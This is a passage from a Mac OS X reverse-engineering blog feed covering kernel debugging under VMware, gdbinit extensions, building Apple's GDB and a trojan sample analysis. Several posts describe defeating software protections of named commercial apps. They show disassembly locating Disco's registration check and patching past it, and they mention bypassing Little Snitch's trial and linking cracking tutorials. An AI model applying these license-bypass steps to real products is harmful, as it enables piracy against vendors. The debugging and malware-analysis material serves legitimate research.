now!\nP.S.: Buy it if you really use it 😉.\n","permalink":"https://reverse.put.as/2009/03/09/why-is-kernel-debugging-fun/","summary":"Just look at this:\nI just got Little Snitch to keep working even with network filter being off (that should be equivalent to expired 3 hour trial). The game is still not over because only the Once button is working but it seems I have my entry point 😄.\nLittle Snitch works by using a socket filter (Apple document here) installed when kernel module starts (Correction: Little Snitch kernel module is an IOKit driver and not a simple kernel extension).","title":"Why is kernel debugging fun?"},{"content":"I love VMware (used it since its first releases) and I love it even more now 😄. Yesterday I had the not so crazy idea (and not original) to use VMware for Mac OS X kernel debugging because newest Little Snitch version seems to have a new anti-debug trick and I don’t have another Mac at hand.\nAfter some trial and error I managed to get it working, so let’s show how it’s possible. The first thing you need to do is read these two Apple documents, this and this. We need two machines, one to be the target and one to be the debugger. A VMware virtual machine can be used for target machine which is great!\nOur workflow should be something like:\nInstall Leopard inside a VMware virtual machine. Read this forum thread to learn how to do it. The signiso.sh script might need small fixes and if you upgrade VMware Fusion after you installed Leopard into the virtual machine, you will need to sign again the updated VMware iso images (else you will get an error telling it’s not a valid machine or something like that). Start Leopard inside the virtual machine and update to the same patch level as your debugger machine. Download Kernel Debug Kit from here into the debugger machine. You should download a version that matches your current kernel (probably 10.5.6 if you are using Leopard up to date). This debug version will allow us to breakpoint on symbols since it has symbol information. Btw, you will need to open a developers account, it’s free! Download XNU kernel source code from here. This will allow to follow the source inside GDB and even breakpoint into line numbers! Configure the virtual machine so we can attach the debugger to it. The Apple articles talk about changing NVRAM settings but there’s no such thing for VMware. There is another trick we can use! Edit the following text file, /Library/Preferences/SystemConfiguration/com.apple.Boot.plist. You can add our needed options at Kernel Flags key. Use the -v flag (for verbose output), pmuflags=1 (to avoid watchdog timer problems) and debug=0x1 (or other debug flags available, read the initial referred documents). I prefer to use the debug=0x1 flag because I couldn’t find a way to create NMI events inside the virtual machine. I want to do kernel debugging while it’s running ok, not just when it crashes 😄. Example: Insert a static arp entry for debugger machine IP in target machine. We are talking about VMware virtual networks. Check the following picture, you should be able to understand it 😉. . Take note of target machine IP address (open a Terminal.app and do a ifconfig en0, for example). This will be the IP address we are going to attach GDB from debugger machine. At debugger machine, open kernel debug kit dmg image. Now open GDB like the following example. You will need to issue the GDB command target remote-kdp. This will tell GDB to enable remote kernel debugging protocol. $ gdb /Volumes/KernelDebugKit/mach_kernel GNU gdb 6.3.50-20050815 (Apple version gdb-962) (Sat Jul 26 08:14:40 UTC 2008) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-apple-darwin\u0026#34;... gdb$ target remote-kdp Reboot virtual machine. You should get a verbose boot and as soon it stops or the blue screen appears, you can attach GDB. Sometimes (at target machine) you will get a prompt telling it’s waiting for the debugger to attach, other times it stops while in the verbose boot and others it stops while at the blue screen. I can’t get consistent results on this, I just know I can attach the debugger at this time. So, when it stops, attach GDB with the attach IP command. For example my target machine IP is 192.168.246.128. I used the following: gdb$ attach 192.168.246.128 Connected. Error while running hook_stop: Invalid type combination in ordering comparison. gdb$ c That error should be normal if you are using .gdbinit (because of the bug described here). Type c or continue and Leopard should finish booting (if you take much time doing this, boot might hang and you need to reboot virtual machine and start again).\nThat’s it! But you can’t use normal Control-C to break into the debugger. This doesn’t work 😦. Since we can’t break into GDB anytime we want, we can use a little trick which is to setup a known breakpoint at step 9, before we issue the continue command. A good candidate is the tcp_connect kernel function. Why? Because we can use the telnet command to connect to some IP and that will use tcp_connect! So the reformulated step 9 should be: $ gdb /Volumes/KernelDebugKit/mach_kernel GNU gdb 6.3.50-20050815 (Apple version gdb-962) (Sat Jul 26 08:14:40 UTC 2008) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-apple-darwin\u0026#34;... gdb$ target remote-kdp gdb$ break tcp_connect Breakpoint 1 at 0x24d1e0: file /SourceCache/xnu/xnu-1228.9.59/bsd/netinet/tcp_usrreq.c, line 874. gdb$ attach 192.168.246.128 Connected. Re-enabling shared library breakpoint 1 Error while running hook_stop: Invalid type combination in ordering comparison. gdb$ c Try to telnet somewhere. As soon as you press enter the virtual machine should hang and GDB should have control. Something like this: Breakpoint 1, 0x0024d1e0 in tcp_connect (tp=0x28c5a68, nam=0x1ad97ed8, p=0x27b904c) at /SourceCache/xnu/xnu-1228.9.59/bsd/netinet/tcp_ usrreq.c:874 874 /SourceCache/xnu/xnu-1228.9.59/bsd/netinet/tcp_usrreq.c: No such file or directory. in /SourceCache/xnu/xnu-1228.9.59/bsd/netinet/tcp_usrreq.c Error while running hook_stop: Invalid type combination in ordering comparison. gdb$ The No such file or directory error is due to the fact I don’t have the XNU kernel sources installed. If you want, unpack them somewhere and create the SourceCache link at disk root or create /SourceCache and unpack there (whatever suits you).\nNow you are inside the kernel, you can setup other breakpoints and do whatever you want.\nAbout the .gdbinit problem. We can still use our beloved .gdbinit but we need an additional trick to work around it. Create a file with the following context (suggestion: gdbinitfix, located in your home dir):\nset $SHOW_CONTEXT = 1 set $SHOW_NEST_INSN = 0 set $CONTEXTSIZE_STACK = 6 set $CONTEXTSIZE_DATA = 8 set $CONTEXTSIZE_CODE = 8 set $SHOWOBJECTIVEC = 1 set $displayobjectivec = 0Now at step 9 or 11, you need to issue the “source” command: gdb$ source ~/gdbinitfix This will add the missing variables and now you can fully use .gdbinit with kernel debugging 😃.\nAnd that’s it! We can now use kernel debugging with a single Mac machine! Hurray!!! If you have any doubt or problem feel free to leave a comment. I think I haven’t missed any detail. Word of caution: sometimes the virtual machine seems to hang if you don’t use it for some time. Not sure if this is due to debugger or not. And the kernel debug protocol communication is not super fast, so maybe gdbinit needs some adjustments. Just a word of caution 😄.\nAs usual, have fun exploring and testing new things!\nfG!\nP.S.: Everytime you reboot the virtual machine you will need to kill the GDB process. It hangs so you will need the kill -9 friend. And Little Snitch runs without any problem inside the virtual machine!\nUpdate: You should add the option -arch i386 (or -a i386) to GDB because VMware only runs 32bits kernels. If you are running a 64bit kernel in the host system and set breakpoints via symbols, you will have trouble since breakpoints will be set to the 64bits version. Thanks to Rennie for the tip.\nAlso if you are having problems with the virtual machine locking up, try to disable the power options in the virtualized OS X.\nUpdate 2: Very important: You need to have the debugger machine with the firewall turned off! Else kernel panics will happen! Damn 😉.\nUpdate 3: Snare remembered me about the int3 trick if you are developing your kernel modules (as in userland). Insert a asm(\u0026ldquo;int $3\u0026rdquo;); where you want to drop into the kernel debugger. In Little Snitch case it is harder to apply because the kernel driver can’t be unloaded.\n","permalink":"https://reverse.put.as/2009/03/05/mac-os-x-kernel-debugging-with-vmware/","summary":"I love VMware (used it since its first releases) and I love it even more now 😄. Yesterday I had the not so crazy idea (and not original) to use VMware for Mac OS X kernel debugging because newest Little Snitch version seems to have a new anti-debug trick and I don’t have another Mac at hand.\nAfter some trial and error I managed to get it working, so let’s show how it’s possible.","title":"Mac OS X Kernel debugging with VMware"},{"content":"Hey, today is a slow day and I got a suggestion to write about serial phishing. Someone else suggest an easy target and here it is a tutorial about serial phishing.\nThe target is a very easy one so you should be able to understand everything and practice your GDB skills a little more.\nHere are the files:\nserial-phishing.txt\nmacdvix.dmg (SHA1(MacDviX.dmg)= 9eb463acff18d003c4a0d619171ce0cd93bc53e6)\n(Unfortunately I lost the installer and can\u0026rsquo;t find it on my backups 😦).\nFeel free to leave comments, point out errors or make questions 😄.\nAs usual, have fun!\nfG!\n","permalink":"https://reverse.put.as/2009/02/23/serial-phishing-tutorial-its-hot-hot-hot/","summary":"Hey, today is a slow day and I got a suggestion to write about serial phishing. Someone else suggest an easy target and here it is a tutorial about serial phishing.\nThe target is a very easy one so you should be able to understand everything and practice your GDB skills a little more.\nHere are the files:\nserial-phishing.txt\nmacdvix.dmg (SHA1(MacDviX.dmg)= 9eb463acff18d003c4a0d619171ce0cd93bc53e6)\n(Unfortunately I lost the installer and can\u0026rsquo;t find it on my backups 😦).","title":"Serial phishing tutorial !!! It’s hot hot hot ;)"},{"content":"Things are a bit slow around here. GMAT is taking most of my free time and day job been busy. Last week I had some free time and decided to take on this small project.\nBy popular demand here it is, a long tutorial explaining how to reverse/crack a Mac OS X application, starting with tools (GDB and otx) and then a step by step of how to crack a time trial protection.\nWriting such tutorial is not an easy task, trust me! It’s not easy to explain things you know now by instinct and translate them to words. I did my best and it should break some ground, making things easier for those who want to come to Mac reversing world. I think the most interesting part is how to work with GDB, which should be the hardest part for anyone coming to Mac OS X without any experience with it. It is assumed you have knowledge about x86 assembler (there are already too many excellent tutorials about this).\nIf you have any comments, improvements, errors feel free to leave a comment. All help is appreciated.\nThe target app is SlidePad. I leave here the binary I used so everyone can follow the tutorial and not have problems with different versions.\nHere are the files:\nbeginners-tut.txt\nSlidePad.dmg (SHA1(SlidePad.dmg)= 6d85814fd69fd82ac23a40fd16e822105ba79b65)\nHave fun!\nfG!\n","permalink":"https://reverse.put.as/2009/02/23/worlds-best-mac-os-x-reversing-tutorial-for-newbies-or-maybe-not/","summary":"Things are a bit slow around here. GMAT is taking most of my free time and day job been busy. Last week I had some free time and decided to take on this small project.\nBy popular demand here it is, a long tutorial explaining how to reverse/crack a Mac OS X application, starting with tools (GDB and otx) and then a step by step of how to crack a time trial protection.","title":"World’s best Mac OS X reversing tutorial for newbies (or maybe not!)"},{"content":"It seems there is a trojan or botnet binary for OS X in the wild. Some details available at http://ithreats.wordpress.com/2009/01/22/latest-os-x-threat-iworkservices/.\nThe iWorkservices binary is available here: iWorkServices-trojan.zip\nA very quick and dirty strings dump and disassembly seems to show a trojan with botnet capabilities. There are references to p2p and that can be the main clue. There are no clear string references to a specific IP address or URL, which nowadays makes sense since most botnet use p2p features to contact the master nodes. Update: Further analysis from irc channel people reveal IP addresses do exist and are encrypted, but it seems inactive for now.\nIf you are interesting in this subject have a look at this year CCC presentation about Storm Botnet. Very good one!\nPlease leave feedback if you advance with analysis on this, I don’t have much free time available 😦.\nUpdates on this:\nhttp://ithreats.wordpress.com/ http://www.securityfocus.com/blogs/1615 So it seems really to be a botnet binary. It’s a shame it looks inactive and not very functional since it appears to have fixed control servers which should be easy to take down. Bah!\nUpdate version 2:\nThere is a new version this time packed on Adobe Photoshop CS4. If you want to give a look, grab the binary here: trojannewvariant.tar\nWhile it writes a different name to /var/tmp each time it’s executed (it uses tmpnam function to create these), it doesn’t have any kind of polymorphic code. The trojan/botnet binary can be easily detected using a SHA1 checksum (MD5 shouldn’t be really used for anything, not even for these tasks). OpenSSL generates the following hash: b8ab6832bcf4b5b5db45e98d0a7d5a58d573f0e5.\nThat makes it easy to clean the file from /var/tmp (to be honest, I would do a rm -f /var/tmp/tmp.*, since I don’t see any harm by doing that). It seems Jason (grep the binary) isn’t yet very skilled writing this kind of stuff. And if someone bought this code, it’s rather useless and calls attention to the subject. This kind of stuff should be off the radar!\nThanks to the guys from #osxre for their input 😃.\nHave fun!\nP.S.: If you want to run Mac OS X under VMware (useful for malware analysis), check out this link http://forum.insanelymac.com/index.php?showtopic=139178.\nSigniso.sh script needs a small fix (the path for the vmware iso images) but it works fine with Vmware Fusion 2.0.1.\n","permalink":"https://reverse.put.as/2009/01/22/iwork-trojan-or-botnet-binary-found/","summary":"It seems there is a trojan or botnet binary for OS X in the wild. Some details available at http://ithreats.wordpress.com/2009/01/22/latest-os-x-threat-iworkservices/.\nThe iWorkservices binary is available here: iWorkServices-trojan.zip\nA very quick and dirty strings dump and disassembly seems to show a trojan with botnet capabilities. There are references to p2p and that can be the main clue. There are no clear string references to a specific IP address or URL, which nowadays makes sense since most botnet use p2p features to contact the master nodes.","title":"iWork/Photoshop Trojan or Botnet Binary found"},{"content":"While searching the web for some GDB patches I stumbled upon this fix to assemble function from gdbinit by Tavis Ormandy (good work!). I modified it a little bit to work with Mac OS X. This function allows you to assemble directly (using nasm, Intel format) to running program or just output the correspondent opcodes for your assembly input. Type help assemble. Very useful to get the opcodes you need to patch the binary.\nThe other small fix is to rename thread function to threads. That was making it impossible to move between program threads.\nThat’s all for now 😄.\nHave fun!\nAh\u0026hellip; grab version 7.1.6 here: gdbinit-v7.1.6\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2009/01/21/gdbinit-v716/","summary":"While searching the web for some GDB patches I stumbled upon this fix to assemble function from gdbinit by Tavis Ormandy (good work!). I modified it a little bit to work with Mac OS X. This function allows you to assemble directly (using nasm, Intel format) to running program or just output the correspondent opcodes for your assembly input. Type help assemble. Very useful to get the opcodes you need to patch the binary.","title":"Gdbinit v7.1.6"},{"content":"I wanted to recompile GDB so I can modify its source and add some custom patches to enhance its output\u0026hellip; Easier said than done!\nThere’s not much information around about this and my first attempt was by downloading GDB source package from Apple and trying to compile it. Didn’t compile out of the box so I had to fix here and there and finally it compiled, but then it didn’t work. Searching the web for more ideas and finally understood I had to use darwinbuild environment for this task. Install darwinbuild, follow instructions (crappy ones I might add!) and bang, it doesn’t compile due to huge dependencies from include files. Fix here and there and still no luck. Searching the web again and finally the misterious parameter to darwinbuild, -nochroot. Compile and voila, it works 😄.\nAnd now it’s very easy to do. You should have XCode installed. Follow these steps:\nDownload darwinbuild from their SVN repository (Mac SVN client available here http://homepage.mac.com/martinott/). 1.1) Snow Leopard already has SVN client by default so no need to download. Instructions on how to download, compile and install darwinbuild are here. Macports can too be used to install. Compile and install darwinbuild: $ make ; sudo make install Create the DMG file and initialize darwinbuild environment (you should set 2 gigabytes for Snow Leopard because of the 64bit version): The plists and build numbers are available at http://svn.macosforge.org/repository/darwinbuild/trunk/plists/.\n$ hdiutil create -size 1G -type UDIF -fs HFSX -volname Builds -uid 0 -gid 0 -attach Builds.dmg $ sudo sh # vsdbutil -a /Volumes/Builds # cd /Volumes/Builds # mkdir Build9G55 (this is for Leopard 10.5.6) (Snow Leopard 10.6.2 is Build10C540) # cd Build9G55 # darwinbuild -init 9G55 (you need Internet connection) # darwinxref edit Insert the following after darwin tag (this will make it compile only for i386):\nenvironment = { INSTALLED_PRODUCT_ASIDES = YES; MACOSX_DEPLOYMENT_TARGET = 10.5; NEXT_ROOT = “”; RC_ARCHS = i386; RC_JASPER = YES; RC_NONARCH_CFLAGS = “-pipe -no-cpp-precomp”; RC_OS = macos; RC_PRIVATE = /private; RC_RELEASE = Leopard; RC_XBS = YES; SEPARATE_STRIP = YES; UNAME_RELEASE = 9.6; UNAME_SYSNAME = Darwin; }; For Snow Leopard use this instead (it will build 32 and 64 bit binaries):\nenvironment = { INSTALLED_PRODUCT_ASIDES = YES; MACOSX_DEPLOYMENT_TARGET = 10.6; NEXT_ROOT = “”; RC_ARCHS = “i386 x86_64”; RC_JASPER = YES; RC_NONARCH_CFLAGS = “-pipe”; RC_OS = macos; RC_PRIVATE = /private; RC_RELEASE = SnowLeopard; RC_TARGET_CONFIG = MacOSX; RC_XBS = YES; SEPARATE_STRIP = YES; UNAME_RELEASE = 10.0; UNAME_SYSNAME = Darwin; }; Editor used is vi. Save and quit.\nUpdate: If you have a problem with an invalid property list, you need to replace the quotes in the block you just pasted (copy \u0026amp; paste problems). That should fix the problem.\n# darwinbuild -nochroot gdb Update: The -nosource option has been added to recent darwinbuild versions. This option will allow you to patch directly into BuildRoot/SourceCache/.\nThe first time you shouldn’t use this option so darwinbuild will download GDB package. After that you can use it if you want to patch directly GDB source files (that’s what I do with my GDB patches). It’s much easier and faster than having to patch and compress the whole GDB source. After you patch, you just issue darwinbuild -nochroot -nosource gdb and this will not unpack the original source but instead use whatever is at SourceCache.\nThere are problems with libiconv in Snow Leopard. Configure picks the lib available at /usr/local/lib and this generates undefined symbols when compiling. The solution is to link that to /usr/lib/libiconv.dylib or to edit the Makefile. To edit the Makefile you either need to edit the original tar.gz available at Sources dir (and repackage it), or you can issue darwinbuild -nochroot gdb, wait for error, then edit BuildRoot/SourceCache/gdb/gdb-1344/src/gdb/Makefile.in, search for LIBICONV and replace with LIBICONV = /usr/lib/libiconv.dylib. I have tried to modify the Makefile to pass the correct path to configure but it’s not working\u0026hellip; Bah! I don’t feel like exploring this (darwinbuild documentation is CRAP) so MacGyver tactics will have to do the job 😄.\nIf you have some problems compiling for x86_64 then remove that architecture from RC_ARCHS. It worked without any problem for me. The final binary will be a fat binary having i386 and x86_64 versions.\nUpdate End.\nWait for the compilation to finish\u0026hellip; Go to Roots/gdb/gdb-768.root*/usr/libexec/gdb (in Snow Leopard it should be gdb-1344.root*). You should have a gdb-i386-apple-darwin. Backup the original and copy this one over.\n# cp /usr/libexec/gdb/gdb-i386-apple-darwin /usr/libexec/gdb/gdb-i386-apple-darwin.orig # cp gdb-i386-apple-darwin /usr/libexec/gdb/ Launch gdb and see if it works. It should 😃. It’s easy after you find how 😉.\nNow I just need to finish the patches… And tha tha that that’s all folks!\nfG!\nReferences:\nhttp://darwinbuild.macosforge.org/\nhttp://wiki.osx86project.org/wiki/index.php/Building_Darwin\nhttp://www.lartmaker.nl/rsync/\nhttp://www.puredarwin.org/developers/darwinbuild\n","permalink":"https://reverse.put.as/2009/01/14/how-to-compile-gdb-and-other-apple-open-source-packages-in-mac-os-x/","summary":"I wanted to recompile GDB so I can modify its source and add some custom patches to enhance its output\u0026hellip; Easier said than done!\nThere’s not much information around about this and my first attempt was by downloading GDB source package from Apple and trying to compile it. Didn’t compile out of the box so I had to fix here and there and finally it compiled, but then it didn’t work.","title":"How to compile GDB and other Apple open source packages in Mac OS X"},{"content":"I forgot to mention this previously but there is a mailing list available at http://0x90.org/mailman/listinfo/xso and an IRC channel at irc.freenode.net, #osxre.\nIt’s still a small community but more people are showing up and IRC is always a good communication tool.\nI’m not administrator of both, but YOU are invited to join 😄.\nfG!\n","permalink":"https://reverse.put.as/2009/01/05/mailing-list-and-irc-channel/","summary":"I forgot to mention this previously but there is a mailing list available at http://0x90.org/mailman/listinfo/xso and an IRC channel at irc.freenode.net, #osxre.\nIt’s still a small community but more people are showing up and IRC is always a good communication tool.\nI’m not administrator of both, but YOU are invited to join 😄.\nfG!","title":"Mailing list and IRC channel"},{"content":"End of the year is slow and I was a bit inspired so I decided to hack around another features I was missing from gdbinit!\nFirst one is about conditional jump display. Original gdbinit doesn’t tell you what will be the decision that will be taken on a conditional jump. You must look at the flags and check that! Well\u0026hellip; I can’t memorize this kind of stuff (in reality I can but it’s useless so I refuse to) and computers were created to automate tasks! So I just added a nice Jump is taken or Jump is NOT taken (ripped from Ollydbg 😉) display!\nExample:\nMuch easier to follow the code! JCXZ and JECXZ are the only jumps not implemented.\nThe other feature is a step over calls. I don’t know why but GDB instructions to step over calls sometimes fail (mainly with objc_msgSend), which is a pain because you either follow into the call or set a manual breakpoint on next instruction. That’s what I’ve implemented, a temporary breakpoint on next instruction after the call. The call opcode which is most interesting is 0xE8 (I grepped most of my disassembled files). The whole call will take 6 bytes so we can easily calculate the next address and set a temporary breakpoint (using GDB tbreak function). I have called this new command stepo.\nYou can use it when the current instruction to be executed is a call or, if you don’t mind stepping over calls, you can use it always since when it’s not a call opcode, it will call the nexti command (step one instruction). Else just use it when you want to skip over the calls.\nI have added a few other call opcodes but the list is incomplete. The code for this is a real mess and there is certainly a better way to do it. Suggestions? 😄\nAnyway, opcode 0xE8 is really the most interesting one to skip over!\nI made a few tests and things seem to be working as expected. If you find any bugs please report it or fix and send the patch 😃.\nThese three addons fill some personal missing features while working with GDB. If you have any suggestions or code to add, feel free to share.\nAfter all this bla bla bla, here it is the code: gdbinit713\nHave fun and a Happy 2009!\nfG!\nUpdate:\nGrab version 7.1.4 here: gdbinit714\nI think I fixed the Objective-C bug (I suspect it’s due to the fact I was using the same $_byte1 variable since I can’t reproduce it on Tiger) and added range support to nop and null routines (Thanks gln!)\nUpdate 2:\nGrab version 7.1.5 here: gdbinit715\nThe latest version can always be found here.\nThis one is really working on Leopard (forgot I had a Leopard at hand to test, duh!!!). The bug was really nice! I had a If Else construct where the else code was empty! GDB on Leopard doesn’t like such thing 😉.\n","permalink":"https://reverse.put.as/2008/12/31/more-gdbinit-addons/","summary":"End of the year is slow and I was a bit inspired so I decided to hack around another features I was missing from gdbinit!\nFirst one is about conditional jump display. Original gdbinit doesn’t tell you what will be the decision that will be taken on a conditional jump. You must look at the flags and check that! Well\u0026hellip; I can’t memorize this kind of stuff (in reality I can but it’s useless so I refuse to) and computers were created to automate tasks!","title":"More gdbinit addons!"},{"content":"While I was messing with gdbinit three weeks ago, I added a small feature that displays the messages being sent to objc_msgSend. Usually I follow the otool or IDA dump and see what’s being sent, but that it’s not very practical! So I made a dirty hack with gdbinit so that information appears automatically into GDB window. It’s not very pretty, but gdbinit is very limited 😦.\nExample:\ngdb$ 0x00002bc5 in main () --------------------------------------------------------------------------[regs] EAX: 9FF43924 EBX: 00002B9D ECX: 9FF37B64 EDX: 00403250 o d I t S z a P c ESI: BFFFF8F4 EDI: BFFFF898 EBP: BFFFF838 ESP: BFFFF7F0 EIP: 00002BC5 CS: 0017 DS: 001F ES: 001F FS: 0000 GS: 0037 SS: 001F [001F:BFFFF7F0]----------------------------------------------------------[stack] BFFFF840 : 01 00 00 00 98 F8 FF BF - A0 F8 FF BF F4 F8 FF BF ................ BFFFF830 : A0 F8 FF BF F4 F8 FF BF - 78 F8 FF BF 92 23 00 00 ........x....#.. BFFFF820 : 2C 0C 05 90 C2 6D E0 8F - 00 00 00 00 A0 F8 FF BF ,....m.......... BFFFF810 : 24 F8 FF BF 00 10 00 00 - 38 F8 FF BF D0 C5 E4 8F $.......8....... BFFFF800 : E4 F1 E3 8F DA 29 00 00 - 38 F8 FF BF FE 29 00 00 .....)..8....).. BFFFF7F0 : 80 5E A7 A0 10 3B F4 9F - F0 2E 40 00 00 00 00 00 .^...;....@..... --------------------------------------------------------------------[ObjectiveC] 0x9ff43924 \u0026lt;objc_msgSend_stub+548\u0026gt;: \u0026#34;init\u0026#34; [0017:00002BC5]-----------------------------------------------------------[code] 0x2bc5 : mov DWORD PTR [esp+0x4],eax 0x2bc9 : mov DWORD PTR [esp],edx 0x2bcc : call 0x404c \u0026lt;dyld_stub_objc_msgSend\u0026gt;; 0x2bd1 : mov DWORD PTR [ebp-0x14],eax 0x2bd4 : lea eax,[ebx+0x24cb] 0x2bda : mov eax,DWORD PTR [eax] 0x2bdc : mov edx,eax 0x2bde : lea eax,[ebx+0x249b] -------------------------------------------------------------------------------- After the call to _objc_msgSend, that display will be removed until the next time such argument is found. There will be false positives, since I’m grabbing the mov to esp+0x4 (maybe this can be avoided, but for me it’s not a big deal and I can live with it).\nGrab it here, version 7.1.1: gdbinit\nAny comments, suggestions, patches \u0026amp; improvements are welcome !\n","permalink":"https://reverse.put.as/2008/12/29/a-lazy-xmas-gift-or-a-lazy-addon-to-gdbinit/","summary":"While I was messing with gdbinit three weeks ago, I added a small feature that displays the messages being sent to objc_msgSend. Usually I follow the otool or IDA dump and see what’s being sent, but that it’s not very practical! So I made a dirty hack with gdbinit so that information appears automatically into GDB window. It’s not very pretty, but gdbinit is very limited 😦.\nExample:\ngdb$ 0x00002bc5 in main () --------------------------------------------------------------------------[regs] EAX: 9FF43924 EBX: 00002B9D ECX: 9FF37B64 EDX: 00403250 o d I t S z a P c ESI: BFFFF8F4 EDI: BFFFF898 EBP: BFFFF838 ESP: BFFFF7F0 EIP: 00002BC5 CS: 0017 DS: 001F ES: 001F FS: 0000 GS: 0037 SS: 001F [001F:BFFFF7F0]----------------------------------------------------------[stack] BFFFF840 : 01 00 00 00 98 F8 FF BF - A0 F8 FF BF F4 F8 FF BF .","title":"A lazy xmas gift or a lazy addon to gdbinit"},{"content":"I was trying to add some features to gdbinit and I needed global variables. I already knew that feature wasn’t working on Mac OS X GDB and I was puzzled why it didn’t work. Some quick tests on a Linux box couldn’t reproduce the same behaviour so something is wrong with Apple’s GDB version. I finally found how it happens ! A very simple .gdbinit to test things would be:\nset $bugtest = 10 define bugtest output $bugtest end Replacing our beloved .gdbinit with this simple version and let’s see what happens:\n$ gdb GNU gdb 6.3.50-20050815 (Apple version gdb-696) (Sat Oct 20 18:16:54 GMT 2007) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-apple-darwin\u0026#34;. warning: --arch option not supported in this gdb. (gdb) bugtest 10(gdb) Now another test:\n$ gdb antidebug GNU gdb 6.3.50-20050815 (Apple version gdb-696) (Sat Oct 20 18:16:54 GMT 2007) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-apple-darwin\u0026#34;... warning: --arch option not supported in this gdb. Reading symbols for shared libraries .. done (gdb) bugtest void(gdb) Can you spot the difference? This should help\u0026hellip;\n$ gdb GNU gdb 6.3.50-20050815 (Apple version gdb-696) (Sat Oct 20 18:16:54 GMT 2007) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \u0026#34;show copying\u0026#34; to see the conditions. There is absolutely no warranty for GDB. Type \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-apple-darwin\u0026#34;. warning: --arch option not supported in this gdb. (gdb) exec-file antidebug Reading symbols for shared libraries .. done (gdb) bugtest 10(gdb) So for some reason (bug ?!?!?) the .gdbinit global variables are lost if we start GDB with a program as argument and they are kept if we start gdb without any argument. Attaching to an already running process has no problems. Using the same trick with one of those unmodified .gdbinit (7.0 or 7.1) and everything goes smooth, no errors 😄.\nGDB source code is huge and the changelog might not be helpful to track this problem 😦. I was trying to backport the memory search feature implemented in latest GDB versions but I gave up ! At least I have a workaround…\n","permalink":"https://reverse.put.as/2008/11/28/apples-gdb-bug/","summary":"I was trying to add some features to gdbinit and I needed global variables. I already knew that feature wasn’t working on Mac OS X GDB and I was puzzled why it didn’t work. Some quick tests on a Linux box couldn’t reproduce the same behaviour so something is wrong with Apple’s GDB version. I finally found how it happens ! A very simple .gdbinit to test things would be:","title":"Apple’s GDB Bug?"},{"content":"While browsing around http://www.apple.com/downloads to check for any interesting software (I really like the Featured 3rd party and latest software sections) I found this well designed CD burning app, Disco (http://www.discoapp.com).\nI really like their website design (I have a big passion for design although I can’t design anything myself) and decided to try their app since it fits two characteristics, well designed interface and a software protection! Hurray.\nOpen it, bang, Little Snitch warns about connection attempt and a nice registration dialogue appears. Try to input some name and some serial, press register, nothing happens! Hummmm it seems we might have a challenge here!\nNext step before loading the all mighty GDB and otx is to look at Contents/Resources folder and check out the NIB for this registration screen. One file calls my attention: registration_successful.aif.\nSo what can we try? Disassemble main binary with otx and search for registration_successful. Bang we have an hit!\n-(void)[DCPreferencesController doRegister:] (...) 0002b522 8b1544500400 movl 0x00045044,%edx validateName:andCode: 0002b528 890424 movl %eax,(%esp,1) 0002b52b 89542404 movl %edx,0x04(%esp,1) 0002b52f e84c1d0200 calll 0x0004d280 -[(%esp,1) validateName:andCode:] \u0026lt;- CRACKME 0002b534 84c0 testb %al,%al 0002b536 7453 je 0x0002b58b 0002b538 c7442408fc3a0400 movl $0x00043afc,0x08(%esp,1) registration_successful 0002b540 a1ac580400 movl 0x000458ac,%eax soundNamed: (...) And that’s it, game over\u0026hellip; We have an entry point. Test it by loading into GDB, bypass that jump and voila, Thank you for registering\u0026hellip;.\nIf we load again the program, it’s still not registered but that’s not what I’m looking after here. Entrypoint is found and game is over! No challenge here but a good example of why simple details matter to defeat protections.\nIs there any equivalent to GetWindowTextA (and friends) in Cocoa? Can we breakpoint on text input? How? It’s possible to check the NIB but that’s not always available.\nBtw, check this other app from the same company, http://www.versionsapp.com. If you use SVN it looks like a killer app (I use Mercurial).\n","permalink":"https://reverse.put.as/2008/11/21/whats-wrong-in-this-picture/","summary":"While browsing around http://www.apple.com/downloads to check for any interesting software (I really like the Featured 3rd party and latest software sections) I found this well designed CD burning app, Disco (http://www.discoapp.com).\nI really like their website design (I have a big passion for design although I can’t design anything myself) and decided to try their app since it fits two characteristics, well designed interface and a software protection! Hurray.\nOpen it, bang, Little Snitch warns about connection attempt and a nice registration dialogue appears.","title":"What’s wrong in this picture?"},{"content":"There is a new version of original +mammon gdbinit, 7.0 (available at http://truthix.dump.cz/files/.gdbinit). GDB version used by Apple has some problems with it (doesn’t recognize global variables outside each function) so it needed some fixes to work. I have changed the colors and removed the data window display (personally I don’t think it’s useful, edit define context and remove the comment for datawin).\nGrab it here: gdbinit\nIf you want to see what was changed, just diff the two versions!\nUpdate: Just ported version 7.1 dd fix to this version.\nGrab it here: gdbinit-7.1-macosx\n","permalink":"https://reverse.put.as/2008/11/19/gdbinit-version-70/","summary":"There is a new version of original +mammon gdbinit, 7.0 (available at http://truthix.dump.cz/files/.gdbinit). GDB version used by Apple has some problems with it (doesn’t recognize global variables outside each function) so it needed some fixes to work. I have changed the colors and removed the data window display (personally I don’t think it’s useful, edit define context and remove the comment for datawin).\nGrab it here: gdbinit\nIf you want to see what was changed, just diff the two versions!","title":"gdbinit version 7.0 (and 7.1)"},{"content":"Here it is with support for Leopard and extended attributes. All calls related to extended attributes are traced and dumped to /var/log/system.log (I find it more useful than fs_usage for this specific calls).\nCheck the .c file for options related to this.\nFor 